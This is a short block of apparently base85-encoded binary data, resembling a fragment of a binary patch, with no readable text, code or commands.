zBtaQ^l@yW9^ei0pGaTR*8A+tfeH?RdLZ(TNB|;uQk4$+LSq=U#zwGsCdap-OJ|^-jrdPdk(n@GwiL?m@9$(03G6MdP?oo1+zZNw_P1NXX@gMucJot8umm+`6O8IAA&C>Z@;>o9= zcbQY;-I+Sy404HN)#4fPfVhf{=Fiz2JhC^@Ay-jtA>;<;ya~GY z8(Aa`>7ktHLot)dMbNGhIJby&qgSCy50U?+`_sIEcV}}Is9^!dXb&{7h3L>f7)>=g zlkTPYAmiTP-%657hR_+{mqwU}(AR2YlfS64STOS# zcyBzqy0G&om{ji0wb02nsQYQ1dsj>%>pPD@2t&U7Ed6W(Gk+Gh+#utT{kD=EuG5)@ zd!s7nbnbzp0eAPsY@WtCg`ry)AY-f{%Al_cNF1;5TJLZfPL3ea4}3n#1K&E2K(4|q-;dr|~ql88u(dj4^KYtOeVmgl;(lrFTa?3?L`@ zA>_RXtfh1h&IBaI;TS)HdTwS9@aXSg9ucD>i@d*)*|IP!y&P*$2Mr6ubN#XHWqc3Z zbQZR|4@twwx1lGMxg~gSA>85+wk`@|l+BCq$Qi@|j@1DYY)6`|